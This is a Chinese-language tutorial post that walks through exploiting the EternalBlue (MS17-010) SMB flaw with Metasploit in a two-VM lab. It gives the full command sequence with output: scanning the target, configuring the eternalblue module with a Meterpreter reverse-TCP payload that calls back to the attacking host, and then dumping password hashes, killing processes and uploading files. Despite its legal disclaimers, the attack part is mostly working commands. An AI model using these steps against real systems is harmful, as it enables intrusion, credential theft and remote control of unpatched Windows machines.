介绍
永恒之蓝(Eternal Blue)是一种利用windows的系统的SMB协议漏洞来获取系统最高权限，从而达到入侵计算机目地的漏洞，于2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布，5月12日被不法分子改造成了wanna cry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。
（备注：大家不要随意在网上下载使用wanna cry勒索病毒）
测试环境靶机以及渗透工具
Vmware Workstation（虚拟机）：
kali：Metasploit（msf） ip：192.168.1.139
windows7 ip：192.168.1.222
（注意：必须在同一个网段下）
** 两个系统一定要相互ping通**
ping不通的话你就别玩了~~
进入msf控制台：输入msfconsole +回车
注意： 图案不一样不要紧，每次的图案都是随机的
可以先search ms17-010 查找一下漏洞 ms17-010是漏洞编号，画横线的地方不用管
可以先使用smb漏洞扫描一下此ip地址是否有ms17-010漏洞
msf6 > use auxiliary/scanner/smb/smb_ms17_010 #扫描是否存在smb_ms17-010漏洞
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.222 #设置目标主机
rhosts => 192.168.1.222
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit #运行 表示存在漏洞
[+] 192.168.1.222:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.222:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
检测到存在，继续下一步
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
#进入windows漏洞利用模块下面ms17
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options #查看需要配置什么
配置RHOSTS （这是目标主机地址）LHOST（本机地址）LPORT（本机地址监听端口）
其他都是默认的，这三个都得配，如果还想了解更多，请翻译后面的英文
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.1.222
#这里大小写无所谓，最好大写，配置目标主机地址
rhosts => 192.168.1.222
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.1.139
lhost => 192.168.1.139
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444
#端口只要在65535以内并且需要空闲端口，即可设置
lport => 4444
设置一个payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
此设置用于逆向拿shell，这里设置了一个tcp协议
一切准备就绪>>>>>>>>>>>>>>>>>>>>>>>>
exploit 运行
只要不报错基本就成功了
这里可以 hashdump一下 查看系统用户
可以看到两个用户（Administrator、Guest）并且密码一致（这里的密码是指加密后的）
ps可查看系统进程，可以随便kill杀掉
可以从kali上上传一些文件并运行
** （备注：想破坏他人计算机系统的再次提醒！本文章只用作技术交流及讨论！请遵纪守法！）**
版权归原作者 鹅子鱼 所有， 如有侵权，请联系我们删除。